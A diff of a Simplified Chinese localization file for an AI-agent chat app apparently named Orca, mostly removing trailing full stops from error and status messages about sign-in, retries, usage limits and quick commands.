+      "attachmentUnsupportedType": "{{agent}} 仅接受 PNG、JPEG、GIF 和 WebP 图片，因此此消息未发送",
+      "backgroundTaskNotStopped": "后台任务未停止",
+      "backgroundTasksNotStopped": "后台任务未停止",
+      "backgroundTasksRunning": "后台任务仍在运行",
+      "cancelUnconfirmed": "未能确认是否已取消",
+      "cancelled": "此消息在智能体开始处理前已撤回",
+      "chatClosed": "此消息发送前聊天已关闭",
+      "chooseClaudeAccount": "请在 Claude 账户设置中选择或添加一个",
+      "chooseClaudeAccountThenRunCommand": "请在 Claude 账户设置中选择或添加一个，然后重新运行 /{{command}}",
+      "chooseClaudeAccountThenSend": "请在 Claude 账户设置中选择或添加一个，然后重新发送您的消息",
+      "claudeAccountFolderMissing": "所选 Claude 账户的文件夹不存在。请重新登录该账户或选择其他账户",
+      "claudeAccountSetupFailed": "无法设置所选 Claude 账户。请重试或选择其他账户",
+      "claudeEffortInvalid": "Claude 的推理强度无效；请选择 low、medium、high、xhigh 或 max，然后重新发送",
+      "claudeManagedNotSignedIn": "此 Claude 账户尚未登录。请在 Claude 账户设置中重新登录",
+      "claudeSystemNotSignedIn": "Claude 尚未登录。请运行 `{{loginCommand}}`，或在 Claude 账户设置中选择账户",
+      "cliMissing": "在运行此聊天的计算机上找不到 {{agent}}。请安装它，或检查设置 → 智能体中的命令",
+      "cliMissingInWslDistro": "WSL 发行版 {{distro}} 中未安装 {{agent}}。请在 {{distro}} 中安装它，或检查设置 → 智能体中的命令",
+      "cliTooOld": "{{agent}} {{installedVersion}} 版本过旧，无法用于聊天。请更新到 {{minimumVersion}} 或更高版本",
+      "codexManagedNotSignedIn": "此 Codex 账户尚未登录。请在 Codex 账户设置中重新登录",
+      "codexSystemNotSignedIn": "Codex 尚未登录。请运行 `{{loginCommand}}`",
+      "commandAfterAnswer": "请先回答智能体的问题或处理审批请求，然后再运行 /{{command}}",
+      "commandRefused": "此命令未运行",
+      "commandRefusedTryAgain": "此命令未运行。请重试",
+      "commandUnavailable": "此命令在 {{agent}} 聊天中不可用，因此未发送",
+      "compactionFailed": "压缩失败",
+      "compactionFailedQuoted": "压缩失败：{{detail}}",
+      "compactionUnconfirmed": "未确认压缩是否完成",
+      "conversationOpenElsewhere": "Codex 仍占用此对话。请稍后重试，或关闭其他 Codex 终端",
+      "conversationOpenInTerminal": "{{agent}} 已在另一个终端中运行此对话。请退出那里的 {{agent}} 或关闭该终端，然后在这里继续",
+      "couldNotRestart": "{{agent}} 无法重新启动",
+      "couldNotStart": "{{agent}} 无法启动",
+      "couldNotStop": "无法停止 {{agent}}",
+      "couldNotStopTheAgent": "无法停止智能体",
+      "editSavedArguments": "请在设置 > 智能体 > 参数中编辑",
+      "emptyMessage": "此消息为空，因此未发送",
+      "fullAccessAsRoot": "{{agent}} 以 root 身份运行时不会使用完全访问。请在运行此聊天的计算机的“设置”→“智能体”中为 {{agent}} 选择其他权限，然后开始新的聊天",
+      "historyInOtherAccount": "此聊天的历史记录位于另一个 Claude 账户中。请切换回该账户以继续此聊天",
+      "historyTooLarge": "此对话的历史记录过大，无法在此恢复",
+      "hostFault": "Orca 遇到问题，因此此操作未完成",
+      "hostFaultTryAgain": "Orca 遇到问题，因此此操作未完成。请重试",
+      "hostRestarted": "此消息发送前 Orca 已重新启动",
+      "hostStopped": "{{agent}} 始终未完成启动，因此 Orca 已将其停止",
+      "interactiveAgentNotSignedIn": "请在运行此聊天的电脑上启动 `{{loginCommand}}` 并使用 `{{slashCommand}}` 登录 {{agent}}",
+      "launchFolderMissing": "此聊天运行所在的文件夹已不存在。请恢复该文件夹以继续此聊天",
+      "launchPreparationFailed": "Orca 无法在运行此聊天的计算机上准备启动 {{agent}}",
+      "managedAccountEnvOverride": "此次 Claude 启动设置了自己的 Anthropic 登录变量。请移除这些变量以使用受管理的 Claude 账户",
+      "managedAccountUnsupported": "虽然已在 WSL 中添加 Claude 账户，但 Claude 聊天仍需使用 Windows 中的 Claude 账户",
+      "modelUnavailable": "{{agent}} 无法使用 {{detail}}。请选择其他模型并重新发送",
       "modelUnavailableUpdate": "{{agent}} 无法使用 {{detail}}。请将 {{agent}} 更新到 {{minimumVersion}} 或更高版本，以便重启后继续使用；或者选择其他模型并重新发送。",
       "modelNotSelected": "{{agent}} 没有选择模型。请检查模型选择和 {{agent}} 登录状态，然后重新发送。",
-      "noTurnToStop": "{{agent}} 没有正在运行的轮次可停止。",
-      "notDelivered": "此消息未送达。",
-      "notDeliveredSendAgain": "此消息未送达。请重新发送以继续。",
-      "notSignedIn": "{{agent}} 尚未登录。",
-      "previousExitUnverifiable": "无法停止之前的 {{agent}}。",
-      "providerExitedAnswer": "{{agent}} 已停止，因此您的回答未发送。发送消息以继续。",
-      "providerExitedRejection": "{{agent}} 在发送此消息前已停止。",
-      "providerExitedRow": "{{agent}} 在生成此回复时停止了。您可以在此对话中继续。",
-      "providerRateLimited": "{{agent}} 已被限流，正在重试。",
-      "providerUnavailable": "{{agent}} 因服务繁忙而无法回复。请选择其他模型，或稍等片刻后重新发送。",
-      "providerSafetyStopped": "{{agent}} 在安全检查后停止了此次回复。请检查您的请求后重新发送。",
-      "providerResponseFailed": "{{agent}} 未能完成此回复。打开详情了解更多信息。",
-      "selectedModel": "所选模型",
-      "providerRejected": "{{agent}} 未接受此消息。",
-      "providerRejectedQuoted": "{{agent}} 未接受此消息：{{detail}}。",
-      "providerRetryLastError": "上次错误：{{detail}}。",
-      "providerRetryNumber": "第 {{attempt}} 次重试。",
-      "providerRetryNumberOf": "第 {{attempt}} 次重试，共 {{maxRetries}} 次。",
-      "providerRetrying": "{{agent}} 遇到临时问题，正在重试。",
-      "providerRetryingQuoted": "{{agent}} 正在重试：{{detail}}。",
-      "providerStartFailed": "{{agent}} 在完成启动前已停止。",
+      "noTurnToStop": "{{agent}} 没有正在运行的轮次可停止",
+      "notDelivered": "此消息未送达",
+      "notDeliveredSendAgain": "此消息未送达。请重新发送以继续",
+      "notSignedIn": "{{agent}} 尚未登录",
+      "previousExitUnverifiable": "无法停止之前的 {{agent}}",
+      "providerExitedAnswer": "{{agent}} 已停止，因此您的回答未发送。发送消息以继续",
+      "providerExitedRejection": "{{agent}} 在发送此消息前已停止",
+      "providerExitedRow": "{{agent}} 在生成此回复时停止了。您可以在此对话中继续",
+      "providerRateLimited": "{{agent}} 已被限流，正在重试",
+      "providerRejected": "{{agent}} 未接受此消息",
+      "providerRejectedQuoted": "{{agent}} 未接受此消息：{{detail}}",
+      "providerRetryLastError": "上次错误：{{detail}}",
+      "providerRetryNumber": "第 {{attempt}} 次重试",
+      "providerRetryNumberOf": "第 {{attempt}} 次重试，共 {{maxRetries}} 次",
+      "providerRetrying": "{{agent}} 遇到临时问题，正在重试",
+      "providerRetryingQuoted": "{{agent}} 正在重试：{{detail}}",
+      "providerStartFailed": "{{agent}} 在完成启动前已停止",
       "savedConversationMissing": "{{agent}} 找不到此聊天已保存的对话。",
-      "queueFull": "等待智能体处理的消息过多，因此此消息未发送。",
-      "quitTerminalAgent": "请退出该智能体，以便在此处继续聊天。",
-      "runCommandAgain": "请重新运行 /{{command}}。",
-      "runCommandWhenDone": "完成后再运行 /{{command}}。",
-      "runtimeNotInstalled": "运行此聊天的计算机上未安装 {{agent}}。请在最新版本的 Orca 中从聊天里安装。",
-      "sendAgainToTryOnceMore": "请重新发送您的消息，再试一次。",
-      "sendToTryAgain": "请发送您的消息以重试。",
-      "sessionNotRestored": "{{agent}} 无法重新打开之前的会话，因此此聊天将在新会话中继续。{{agent}} 不记得之前的消息。",
-      "signInFirst": "请先登录。",
-      "signInThenRunCommand": "请登录，然后重新运行 /{{command}}。",
-      "signInThenSend": "请登录，然后重新发送您的消息。",
-      "startNewChat": "请开始新的聊天以继续。",
-      "startTimedOut": "{{agent}} 启动时间过长（{{seconds}} 秒后 {{method}} 仍无响应）。",
-      "startTimedOutKeepsHappening": "如果此问题持续出现，运行此聊天的计算机可能负载过重。",
-      "stopRefused": "{{agent}} 未停止。",
-      "stopRefusedQuoted": "{{agent}} 未停止：{{detail}}。",
-      "terminalAgentHoldsChat": "此聊天仍在终端智能体中打开。",
+      "queueFull": "等待智能体处理的消息过多，因此此消息未发送",
+      "quitTerminalAgent": "请退出该智能体，以便在此处继续聊天",
+      "runCommandAgain": "请重新运行 /{{command}}",
+      "runCommandWhenDone": "完成后再运行 /{{command}}",
+      "runtimeNotInstalled": "运行此聊天的计算机上未安装 {{agent}}。请在最新版本的 Orca 中从聊天里安装",
+      "sendAgainToTryOnceMore": "请重新发送您的消息，再试一次",
+      "sendToTryAgain": "请发送您的消息以重试",
+      "sessionNotRestored": "{{agent}} 无法重新打开之前的会话，因此此聊天将在新会话中继续。{{agent}} 不记得之前的消息",
+      "signInFirst": "请先登录",
+      "signInThenRunCommand": "请登录，然后重新运行 /{{command}}",
+      "signInThenSend": "请登录，然后重新发送您的消息",
+      "startNewChat": "请开始新的聊天以继续",
+      "startTimedOut": "{{agent}} 启动时间过长（{{seconds}} 秒后 {{method}} 仍无响应）",
+      "startTimedOutKeepsHappening": "如果此问题持续出现，运行此聊天的计算机可能负载过重",
+      "stopRefused": "{{agent}} 未停止",
+      "stopRefusedQuoted": "{{agent}} 未停止：{{detail}}",
+      "terminalAgentHoldsChat": "此聊天仍在终端智能体中打开",
       "theAgent": "智能体",
-      "thenSendAgain": "然后再次发送消息。",
-      "usageLimitReached": "{{agent}} 已达到使用上限。",
-      "usageLimitReachedNamed": "{{agent}} 已达到{{window}}上限。",
-      "usageLimitResetsAt": "将在 {{when}} 重置。",
-      "usageLimitSendAfterReset": "重置后发送消息即可继续。",
+      "thenSendAgain": "然后再次发送消息",
+      "usageLimitReached": "{{agent}} 已达到使用上限",
+      "usageLimitReachedNamed": "{{agent}} 已达到{{window}}上限",
+      "usageLimitResetsAt": "将在 {{when}} 重置",
+      "usageLimitSendAfterReset": "重置后发送消息即可继续",
       "usageLimitWindowCredits": "额外用量",
       "usageLimitWindowSession": "会话",
       "usageLimitWindowWeekly": "每周",
       "usageLimitWindowWeeklyModel": "模型每周",
-      "waitForBackgroundTasks": "请等待后台任务完成。",
-      "waitForStart": "请等待智能体完成启动。",
-      "writeFailed": "Orca 无法将此消息交给智能体，因此消息未发送。",
-      "pluginInputRequired": "{{agent}} 已停止，因为“{{plugin}}”插件正在终端窗格中等待输入。请为聊天会话禁用该插件，或在 {{agent}} 终端中运行任务。"
+      "waitForBackgroundTasks": "请等待后台任务完成",
+      "waitForStart": "请等待智能体完成启动",
+      "writeFailed": "Orca 无法将此消息交给智能体，因此消息未发送",
+      "pluginInputRequired": "{{agent}} 已停止，因为“{{plugin}}”插件正在终端窗格中等待输入。请为聊天会话禁用该插件，或在 {{agent}} 终端中运行任务。",
+      "providerUnavailable": "{{agent}} 因服务繁忙而无法回复。请选择其他模型，或稍等片刻后重新发送。",
+      "providerSafetyStopped": "{{agent}} 在安全检查后停止了此次回复。请检查您的请求后重新发送。",
+      "providerResponseFailed": "{{agent}} 未能完成此回复。打开详情了解更多信息。",
+      "selectedModel": "所选模型"
     },
     "fileReader": {
       "copyReviewNotes": "复制评审备注",
@@ -2219,8 +2225,8 @@
       "title": "浮动工作区"
     },
     "githubPrMutations": {
-      "reviewThreadUpdateFailed": "更新评审讨论串失败。",
-      "titleUpdateFailed": "更新标题失败。"
+      "reviewThreadUpdateFailed": "更新评审讨论串失败",
+      "titleUpdateFailed": "更新标题失败"
     },
     "githubPrRpc": {
       "requestFailed": "请求失败：{{method}}"
@@ -2277,18 +2283,18 @@
     "nativeChatFullContent": {
       "loadMessageFailed": "显示完整消息：加载失败，点按重试",
       "loadOutputFailed": "显示完整输出：加载失败，点按重试",
-      "partialMessage": "仅显示此消息的部分内容。",
-      "partialOutput": "正在显示 {{total}} 中的 {{shown}}。",
+      "partialMessage": "仅显示此消息的部分内容",
+      "partialOutput": "正在显示 {{total}} 中的 {{shown}}",
       "showFullMessage": "显示完整消息",
       "showFullOutput": "显示完整输出"
     },
     "nativeChatRenderData": {
       "defaultAgentLabel": "智能体",
-      "emptySubtitle": "让 {{agent}} 检查代码、解释输出或进行更改。",
+      "emptySubtitle": "让 {{agent}} 检查代码、解释输出或进行更改",
       "emptyTitle": "与 {{agent}} 开始聊天",
-      "errorSubtitle": "无法读取记录。请切回终端继续工作。",
+      "errorSubtitle": "无法读取记录。请切回终端继续工作",
       "errorTitle": "无法加载对话",
-      "notFoundSubtitle": "发送消息以开始对话，或打开终端视图，查看 {{agent}} 正在做什么。",
+      "notFoundSubtitle": "发送消息以开始对话，或打开终端视图，查看 {{agent}} 正在做什么",
       "notFoundTitle": "暂未找到此对话"
     },
     "nativeChatToggleAction": {
@@ -2296,22 +2302,22 @@
       "switchToTerminalView": "切换到终端视图"
     },
     "newTabAgentHostLaunch": {
-      "notesNotSent": "智能体已启动，但笔记未发送。",
+      "notesNotSent": "智能体已启动，但笔记未发送",
       "notesSent": "笔记已发送",
-      "notesUnconfirmed": "智能体已启动，但无法确认笔记是否已发送。",
-      "promptUnconfirmed": "智能体已启动，但无法确认提示词是否已发送。"
+      "notesUnconfirmed": "智能体已启动，但无法确认笔记是否已发送",
+      "promptUnconfirmed": "智能体已启动，但无法确认提示词是否已发送"
     },
     "prActionsEngine": {
-      "mergeFailed": "合并 PR 失败。",
-      "refreshFailed": "无法刷新拉取请求。"
+      "mergeFailed": "合并 PR 失败",
+      "refreshFailed": "刷新 PR 失败"
     },
     "prAiTriageLaunch": {
       "agentStarted": "智能体已启动",
       "agentStartedIn": "智能体已在 {{label}} 中启动",
-      "emptyPrompt": "此操作保存的提示词为空。请在电脑上更新“源代码控制 AI”设置。",
-      "loadFailed": "无法加载可用的智能体。",
-      "promptNotSent": "智能体已启动，但提示词未发送。",
-      "updateRequired": "请更新电脑上的 Orca，以便从手机启动智能体。"
+      "emptyPrompt": "此操作保存的提示词为空。请在电脑上更新“源代码控制 AI”设置",
+      "loadFailed": "无法加载可用的智能体",
+      "promptNotSent": "智能体已启动，但提示词未发送",
+      "updateRequired": "请更新电脑上的 Orca，以便从手机启动智能体"
     },
     "prSidebarState": {
       "loadFailed": "无法加载 PR"
@@ -2335,7 +2341,7 @@
       "steerHint": "提交且不中断模型"
     },
     "queuedMessageComposer": {
-      "commandsNotAllowed": "排队消息中不能保存命令。",
+      "commandsNotAllowed": "排队消息中不能保存命令",
       "editing": "正在编辑消息"
     },
     "quickCommandEditorForm": {
@@ -2345,20 +2351,20 @@
       "agent": "智能体",
       "agentPrompt": "智能体提示",
       "appendEnter": "追加 Enter",
-      "appendEnterDescription": "立即提交，而不仅仅是插入文本。",
+      "appendEnterDescription": "立即提交，而不仅仅是插入文本",
       "chooseAgent": "选择智能体",
       "commandText": "命令文本",
       "globalScope": "全局",
       "label": "名称",
       "labelPlaceholder": "启动开发服务器",
-      "olderHostPromptTooLong": "对此主机来说过长。请在主机上更新 Orca 以保存更长的提示词。",
+      "olderHostPromptTooLong": "对此主机来说过长。请在主机上更新 Orca 以保存更长的提示词",
       "projectScope": "项目",
       "prompt": "提示词",
-      "promptHint": "支持技能、文件路径和内置命令。",
+      "promptHint": "支持技能、文件路径和内置命令",
       "promptPlaceholder": "要求智能体调查此工作区",
       "promptSizeCharacters": "{{used}} / {{max}} 个字符",
       "promptSizeKilobytes": "{{used}} KB / {{max}} KB",
-      "promptTooLong": "内容过长，无法保存。",
+      "promptTooLong": "内容过长，无法保存",
       "scope": "范围",
       "terminalCommand": "终端命令"
     },
@@ -2376,20 +2382,20 @@
       "runCommand": "运行 {{label}}"
     },
     "quickCommandsList": {
-      "emptyState": "暂无快捷命令。",
+      "emptyState": "暂无快捷命令",
       "globalGroup": "全局",
       "newCommand": "新建快捷命令",
-      "noMatches": "没有匹配的快捷命令。",
+      "noMatches": "没有匹配的快捷命令",
       "projectGroup": "此项目",
       "searchPlaceholder": "搜索快捷命令…"
     },
     "quickCommandsSheet": {
       "addTitle": "添加快捷命令",
       "chooseAgentTitle": "选择智能体",
-      "deleteConfirmMessage": "该快捷命令将从您保存的列表中删除。",
+      "deleteConfirmMessage": "该快捷命令将从您保存的列表中删除",
       "deleteConfirmTitle": "删除“{{label}}”？",
       "editTitle": "编辑快捷命令",
-      "editorDescription": "保存终端命令或智能体提示词，便于快速调用。",
+      "editorDescription": "保存终端命令或智能体提示词，便于快速调用",
       "title": "快捷命令",
       "untitled": "无题"
     },
@@ -2417,14 +2423,14 @@
       "discardAndLeave": "放弃并离开",
       "discardChanges": "放弃更改",
       "discardMessage": "是否用桌面上的最新文件替换手机草稿？",
-      "draftsHint": "离开前，请复制或放弃手机上的草稿。",
+      "draftsHint": "离开前，请复制或放弃手机上的草稿",
       "file": "文件",
       "markdown": "Markdown",
       "markdownNote": "Markdown 笔记",
       "newBrowser": "新浏览器",
       "newTab": "新标签页",
       "notesCopied": "注释已复制",
-      "notesHint": "选择接收当前注释的智能体会话。",
+      "notesHint": "选择接收当前注释的智能体会话",
       "removeShortcutMessage": "移除此自定义快捷键？",
       "renameTerminal": "重命名终端",
       "sendReviewNotes": "发送评审备注",
@@ -2432,17 +2438,17 @@
       "terminal": "终端",
       "terminalName": "终端名称",
       "unsavedMarkdown": "未保存的 Markdown 更改",
-      "urlPrompt": "输入 URL，或留空以新建标签页。",
+      "urlPrompt": "输入 URL，或留空以新建标签页",
       "allowAutoClose": "允许自动关闭",
       "renameTerminalFailed": "无法重命名终端。{{reason}}"
     },
     "sourceControlLaunchAgent": {
-      "noEnabledAgent": "此工作区主机上未检测到已启用的 AI 智能体。",
-      "savedAgentUnavailable": "为此操作保存的智能体在此工作区主机上不可用。"
+      "noEnabledAgent": "此工作区主机上未检测到已启用的 AI 智能体",
+      "savedAgentUnavailable": "为此操作保存的智能体在此工作区主机上不可用"
     },
     "structuredComposerCommand": {
-      "operationUnconfirmed": "对话操作未获确认。",
-      "removeAttachments": "使用聊天会话命令前，请先移除附件。"
+      "operationUnconfirmed": "对话操作未获确认",
+      "removeAttachments": "使用聊天会话命令前，请先移除附件"
     },
     "structuredSendDelivery": {
       "messageNotSent": "消息未发送"
@@ -2450,7 +2456,8 @@
     "tabStrip": {
       "checkingCapabilities": "正在检查桌面支持的功能，请稍后重试",
       "newTab": "新标签页",
-      "quickCommandsUpdateRequired": "使用快捷命令需更新桌面应用"
+      "quickCommandsUpdateRequired": "使用快捷命令需更新桌面应用",
+      "tabStatus": "{{title}}，{{status}}"
     },
     "terminalActionSheetActions": {
       "clearTerminal": "清空终端",
@@ -2497,7 +2504,7 @@
     "useContentCreateActions": {
       "browserCommandFailed": "浏览器命令执行失败",
       "browserCreateFailed": "创建浏览器失败",
-      "browserUnavailable": "浏览器页面暂不可用。",
+      "browserUnavailable": "浏览器页面暂不可用",
       "browserUpdateRequired": "需更新桌面端才能使用移动端浏览器串流",
       "invalidUrl": "请输入有效的 URL",
       "noteCreateFailed": "创建 Markdown 笔记失败",
@@ -2540,7 +2547,7 @@
       "notesCopied": "评审笔记已复制",
       "notesSent": "评审笔记已发送",
       "notesSentWithWarning": "评审笔记已发送。{{warning}}",
-      "promptNotSent": "智能体已启动，但笔记未发送。请使用“复制备注”复制后粘贴。",
+      "promptNotSent": "智能体已启动，但笔记未发送。请使用“复制备注”复制后粘贴",
       "sendFailed": "发送笔记失败",
       "startingAgent": "正在启动智能体…",
       "waitingForDesktop": "等待桌面连接…"
@@ -2589,7 +2596,7 @@
       "actionFailed": "评论操作失败"
     },
     "usePrTitleAction": {
-      "disconnected": "未连接到桌面。"
+      "disconnected": "未连接到桌面"
     },
     "useQuickCommands": {
       "loadFailed": "加载快捷命令失败",
@@ -2597,16 +2604,16 @@
     },
     "useSessionTerminalSendActions": {
       "inputTooLarge": "输入内容过大（最大 256 KiB）",
-      "liveInputInterrupted": "实时输入已中断，输入框已清空。继续前请检查终端。"
+      "liveInputInterrupted": "实时输入已中断，输入框已清空。继续前请检查终端"
     },
     "useStartup": {
-      "wakeAgents": "请在主机上打开 Orca，以唤醒睡眠中的智能体。"
+      "wakeAgents": "请在主机上打开 Orca，以唤醒睡眠中的智能体"
     },
     "useTerminalCreateActions": {
       "createFailed": "创建终端失败",
-      "forkBusy": "另一个终端正在打开，请稍候再尝试打开 {{agentName}} 聊天。",
-      "forkUnavailable": "请在已连接且已更新的主机上打开 {{agentName}} 聊天，然后重试。",
-      "inputLocked": "终端输入已被另一个客户端锁定。",
+      "forkBusy": "另一个终端正在打开，请稍候再尝试打开 {{agentName}} 聊天",
+      "forkUnavailable": "请在已连接且已更新的主机上打开 {{agentName}} 聊天，然后重试",
+      "inputLocked": "终端输入已被另一个客户端锁定",
       "notesSent": "笔记已发送",
       "sendNotesError": "无法发送笔记",
       "sendNotesFailed": "发送笔记失败",
@@ -2628,82 +2635,82 @@
       "fallback": "工作树"
     },
     "writeNotice": {
-      "agentRefused": "智能体拒绝了此请求。",
-      "agentStarting": "智能体仍在启动。",
-      "agentStillWorking": "智能体仍在工作。",
-      "answerFirst": "请先回答问题或审批。",
-      "attachmentExpired": "此附件已过期。",
-      "backgroundTasksRunning": "后台任务仍在运行。",
-      "cancelNotSaved": "无法取消此问题或审批。",
-      "cannotRunHere": "Orca 无法在此处以聊天方式运行此智能体。",
-      "capacity": "运行此聊天的计算机上的 Orca 已达到请求上限。请在那台计算机上更新 Orca，然后重试。",
-      "chatNotFound": "Orca 找不到此聊天。",
-      "chatSavedByNewerOrca": "此聊天由更新版本的 Orca 保存。",
-      "clearAfterAnswer": "请先回答智能体的问题或审批，然后再运行 /clear。",
-      "clearAfterRetry": "请先重试您之前的消息，然后再运行 /clear。",
-      "clearAfterSending": "您之前的消息仍在发送中。发送完成后再运行 /clear。",
-      "clearUnfinished": "上一次 /clear 未完成。",
-      "commandRunning": "/compact 或 /clear 仍在运行。",
-      "compactAfterAnswer": "请先回答智能体的问题或审批，然后再运行 /compact。",
-      "compactAfterRetry": "请先重试您之前的消息，然后再运行 /compact。",
-      "compactAfterSending": "您之前的消息仍在发送中。发送完成后再运行 /compact。",
-      "continuationSuperseded": "此聊天已有后续进展。请查看最新消息后再继续。",
-      "conversationCleared": "此对话已被清除。",
-      "goalsUnsupported": "此智能体不支持目标。",
-      "historyUnavailable": "Orca 目前无法打开此聊天的历史记录。",
-      "historyUnreadable": "Orca 无法读取此聊天的已保存历史记录。",
-      "historyUnusable": "无法加载此聊天。",
-      "hostReconciling": "Orca 重启后仍在检查此聊天。",
-      "messageNotSaved": "无法保存您的消息。",
-      "messageTooLarge": "超过了单条消息 256 KB 的上限。",
-      "messagesUnsettled": "您之前发送的一条消息尚未确认。",
-      "notAvailable": "此聊天中无法使用此功能。",
-      "notDoneAnswer": "您的回答未发送。",
-      "notDoneCommand": "命令未运行。",
-      "notDoneGoalChangeIncomplete": "未能完成更改目标。请查看聊天。",
-      "notDoneOption": "设置未更改。",
-      "notDoneQueuedEdit": "你的编辑未保存。",
-      "notDoneReadHistory": "无法加载此聊天的历史记录。",
-      "notDoneSend": "您的消息未发送。",
-      "notDoneStop": "智能体未停止。",
-      "notDoneStopTask": "后台任务未停止。",
-      "notDoneStopTasks": "后台任务未停止。",
-      "openCurrentConversation": "请打开当前对话以继续。",
-      "optionRejected": "智能体未接受此设置。",
-      "outcomeUnknown": "Orca 无法确认发生了什么。请查看聊天。",
-      "ownerUnproven": "此聊天之前的智能体可能仍在运行。",
-      "pendingWork": "在使用此命令之前，请等待挂起的工作和消息完成。",
-      "promptPending": "智能体正在等待您回答问题或审批。",
-      "questionChanged": "此问题已被回答或已更改。",
-      "queueTooLarge": "队列中等待的文本过多。",
-      "quitTerminalAgent": "请退出该智能体，以便在此处继续聊天。",
-      "reattachFile": "请将其移除后重新附加。",
+      "agentRefused": "智能体拒绝了此请求",
+      "agentStarting": "智能体仍在启动",
+      "agentStillWorking": "智能体仍在工作",
+      "answerFirst": "请先回答问题或审批",
+      "attachmentExpired": "此附件已过期",
+      "backgroundTasksRunning": "后台任务仍在运行",
+      "cancelNotSaved": "无法取消此问题或审批",
+      "cannotRunHere": "Orca 无法在此处以聊天方式运行此智能体",
+      "capacity": "运行此聊天的计算机上的 Orca 已达到请求上限。请在那台计算机上更新 Orca，然后重试",
+      "chatNotFound": "Orca 找不到此聊天",
+      "chatSavedByNewerOrca": "此聊天由更新版本的 Orca 保存",
+      "clearAfterAnswer": "请先回答智能体的问题或审批，然后再运行 /clear",
+      "clearAfterRetry": "请先重试您之前的消息，然后再运行 /clear",
+      "clearAfterSending": "您之前的消息仍在发送中。发送完成后再运行 /clear",
+      "clearUnfinished": "上一次 /clear 未完成",
+      "commandRunning": "/compact 或 /clear 仍在运行",
+      "compactAfterAnswer": "请先回答智能体的问题或审批，然后再运行 /compact",
+      "compactAfterRetry": "请先重试您之前的消息，然后再运行 /compact",
+      "compactAfterSending": "您之前的消息仍在发送中。发送完成后再运行 /compact",
+      "continuationSuperseded": "此聊天已有后续进展。请查看最新消息后再继续",
+      "conversationCleared": "此对话已被清除",
+      "goalsUnsupported": "此智能体不支持目标",
+      "historyUnavailable": "Orca 目前无法打开此聊天的历史记录",
+      "historyUnreadable": "Orca 无法读取此聊天的已保存历史记录",
+      "historyUnusable": "无法加载此聊天",
+      "hostReconciling": "Orca 重启后仍在检查此聊天",
+      "messageNotSaved": "无法保存您的消息",
+      "messageTooLarge": "超过了单条消息 256 KB 的上限",
+      "messagesUnsettled": "您之前发送的一条消息尚未确认",
+      "notAvailable": "此聊天中无法使用此功能",
+      "notDoneAnswer": "您的回答未发送",
+      "notDoneCommand": "命令未运行",
+      "notDoneGoalChangeIncomplete": "未能完成更改目标。请查看聊天",
+      "notDoneOption": "设置未更改",
+      "notDoneQueuedEdit": "你的编辑未保存",
+      "notDoneReadHistory": "无法加载此聊天的历史记录",
+      "notDoneSend": "您的消息未发送",
+      "notDoneStop": "智能体未停止",
+      "notDoneStopTask": "后台任务未停止",
+      "notDoneStopTasks": "后台任务未停止",
+      "openCurrentConversation": "请打开当前对话以继续",
+      "optionRejected": "智能体未接受此设置",
+      "outcomeUnknown": "Orca 无法确认发生了什么。请查看聊天",
+      "ownerUnproven": "此聊天之前的智能体可能仍在运行",
+      "pendingWork": "在使用此命令之前，请等待挂起的工作和消息完成",
+      "promptPending": "智能体正在等待您回答问题或审批",
+      "questionChanged": "此问题已被回答或已更改",
+      "queueTooLarge": "队列中等待的文本过多",
+      "quitTerminalAgent": "请退出该智能体，以便在此处继续聊天",
+      "reattachFile": "请将其移除后重新附加",
       "reattachFiles": "请将它们移除后重新附加。",
-      "recordFailed": "Orca 无法将此内容保存到聊天历史记录中。",
-      "recordUnreadable": "Orca 无法读取此聊天的已保存状态。",
-      "reopenChat": "请重新打开聊天以再次检查。",
-      "restartFailed": "智能体无法重新启动。",
-      "runClearWhenDone": "完成后再运行 /clear。",
-      "runCompactWhenDone": "完成后再运行 /compact。",
-      "savedByNewerOrca": "这些聊天由更新版本的 Orca 保存。",
-      "sendOutcomeLost": "Orca 无法确认你的消息已送达智能体。请查看聊天，如有需要请重新发送。",
-      "settleEarlierMessage": "请等待之前的消息送达，或重试该消息。",
-      "shortenMessage": "请缩短或拆分后再发送。",
-      "shrinkQueue": "请删除一条排队的消息，或等待其送达，然后重试。",
-      "startNewChat": "请开始新的聊天以继续。",
-      "terminalAgentHoldsChat": "此聊天仍在终端智能体中打开。",
-      "tryAgain": "请重试。",
-      "tryAgainComposerSend": "请重新发送。",
-      "turnActive": "智能体仍在回复。",
-      "unreachable": "Orca 无法连接到智能体。",
-      "unsupported": "运行此聊天的计算机需要更新版本的 Orca。请在该计算机上更新 Orca 后重试。",
-      "updateOrcaToKeepUsing": "请更新 Orca 以继续使用这些聊天。",
-      "updateOrcaToOpenChat": "请更新 Orca 以打开它。",
-      "waitForBackgroundTasks": "请等待后台任务完成。",
-      "waitForCommand": "请等待 /compact 或 /clear 完成。",
-      "waitForStart": "请等待智能体完成启动。",
-      "waitForTurn": "请等待智能体完成回复，或将其停止。",
-      "waitMoment": "请稍候。"
+      "recordFailed": "Orca 无法将此内容保存到聊天历史记录中",
+      "recordUnreadable": "Orca 无法读取此聊天的已保存状态",
+      "reopenChat": "请重新打开聊天以再次检查",
+      "restartFailed": "智能体无法重新启动",
+      "runClearWhenDone": "完成后再运行 /clear",
+      "runCompactWhenDone": "完成后再运行 /compact",
+      "savedByNewerOrca": "这些聊天由更新版本的 Orca 保存",
+      "sendOutcomeLost": "Orca 无法确认你的消息已送达智能体。请查看聊天，如有需要请重新发送",
+      "settleEarlierMessage": "请等待之前的消息送达，或重试该消息",
+      "shortenMessage": "请缩短或拆分后再发送",
+      "shrinkQueue": "请删除一条排队的消息，或等待其送达，然后重试",
+      "startNewChat": "请开始新的聊天以继续",
+      "terminalAgentHoldsChat": "此聊天仍在终端智能体中打开",
+      "tryAgain": "请重试",
+      "tryAgainComposerSend": "请重新发送",
+      "turnActive": "智能体仍在回复",
+      "unreachable": "Orca 无法连接到智能体",
+      "unsupported": "运行此聊天的计算机需要更新版本的 Orca。请在该计算机上更新 Orca 后重试",
+      "updateOrcaToKeepUsing": "请更新 Orca 以继续使用这些聊天",
+      "updateOrcaToOpenChat": "请更新 Orca 以打开它",
+      "waitForBackgroundTasks": "请等待后台任务完成",
+      "waitForCommand": "请等待 /compact 或 /clear 完成",
+      "waitForStart": "请等待智能体完成启动",
+      "waitForTurn": "请等待智能体完成回复，或将其停止",
+      "waitMoment": "请稍候"
     },
     "workerAutoClose": {
       "running": "临时协作工作者 · 完成 2 分钟后关闭",
@@ -2754,7 +2761,7 @@
   },
   "settings": {
     "aboutScreen": {
-      "openLinkFailed": "无法打开链接。请重试。",
+      "openLinkFailed": "无法打开链接。请重试",
       "socialProfile": "Orca 的 X 主页",
